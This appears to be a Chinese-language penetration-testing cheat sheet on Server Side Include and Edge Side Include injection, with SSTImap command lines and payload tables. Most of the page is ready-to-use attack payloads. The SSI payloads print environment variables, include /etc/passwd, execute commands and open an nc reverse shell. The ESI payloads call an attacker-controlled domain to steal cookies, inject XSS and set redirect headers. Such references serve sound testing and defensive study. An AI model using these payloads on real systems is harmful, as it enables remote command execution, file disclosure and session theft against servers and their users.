跳转至

服务端包含注入 (Server Side Include Injection)

服务端包含 (SSI) 是放置在 HTML 页面中的指令,在页面被服务器处理时执行。它们允许你向现有的 HTML 页面添加动态生成的内容,而无需通过 CGI 程序或其他动态技术来处理整个页面。

摘要 (Summary)

工具 (Tools)

  • vladko312/SSTImap - 基于 epinna/tplmap 改进的具有交互界面的自动 SSTI 检测工具,支持使用 --legacy-e SSI 参数进行 SSI 的检测与利用。
python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'

方法论 (Methodology)

当攻击者能够将服务端包含指令输入到 Web 应用程序中时,就会发生 SSI 注入。SSI 是可以包含文件、执行命令或打印环境变量/属性的指令。如果 SSI 上下文中的用户输入未经过适当的清洗,该输入就可能被用来操纵服务器端的行为、访问敏感信息或执行系统命令。

SSI 格式:<!--#指令 参数="值" -->

描述 (Description) 攻击载荷 (Payload)
打印当前日期 <!--#echo var="DATE_LOCAL" -->
打印文档名称 <!--#echo var="DOCUMENT_NAME" -->
打印所有环境变量 <!--#printenv -->
设置变量 <!--#set var="name" value="Rich" -->
包含文件 (本地路径) <!--#include file="/etc/passwd" -->
包含文件 (虚拟路径) <!--#include virtual="/index.html" -->
执行系统命令 <!--#exec cmd="ls" -->
反弹 Shell <!--#exec cmd="mkfifo /tmp/f;nc IP 端口 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" -->

边缘侧包含 (Edge Side Inclusion)

HTTP 代理(Surrogates)无法区分来自上游服务器的真实 ESI 标签和嵌入在 HTTP 响应中的恶意标签。这意味着,如果攻击者能够成功地在 HTTP 响应中注入 ESI 标签,代理将会毫无疑问地处理并解析它们,并认为这些标签是来自上游服务器的合法指令。

某些代理要求在 Surrogate-Control HTTP 响应头中声明 ESI 处理。

Surrogate-Control: content="ESI/1.0"
描述 (Description) 攻击载荷 (Payload)
盲检测 (OOB) <esi:include src=http://攻击者域名.com>
XSS 攻击 <esi:include src=http://攻击者域名.com/XSS载荷.html>
Cookie 窃取器 <esi:include src=http://攻击者域名.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
包含敏感文件 <esi:include src="supersecret.txt">
显示调试信息 <esi:debug/>
添加自定义响应头 <!--esi $add_header('Location','http://攻击者域名.com') -->
内联片段注入 <esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline>
软件 (Software) 包含 (Includes) 变量 (Vars) Cookies 需要上游响应头 主机白名单
Squid3 支持 支持 支持
Varnish Cache 支持 不支持 不支持
Fastly 支持 不支持 不支持
Akamai ETS 支持 支持 支持
NodeJS' esi 支持 支持 支持
NodeJS' nodesi 支持 不支持 不支持 可选

参考资料 (References)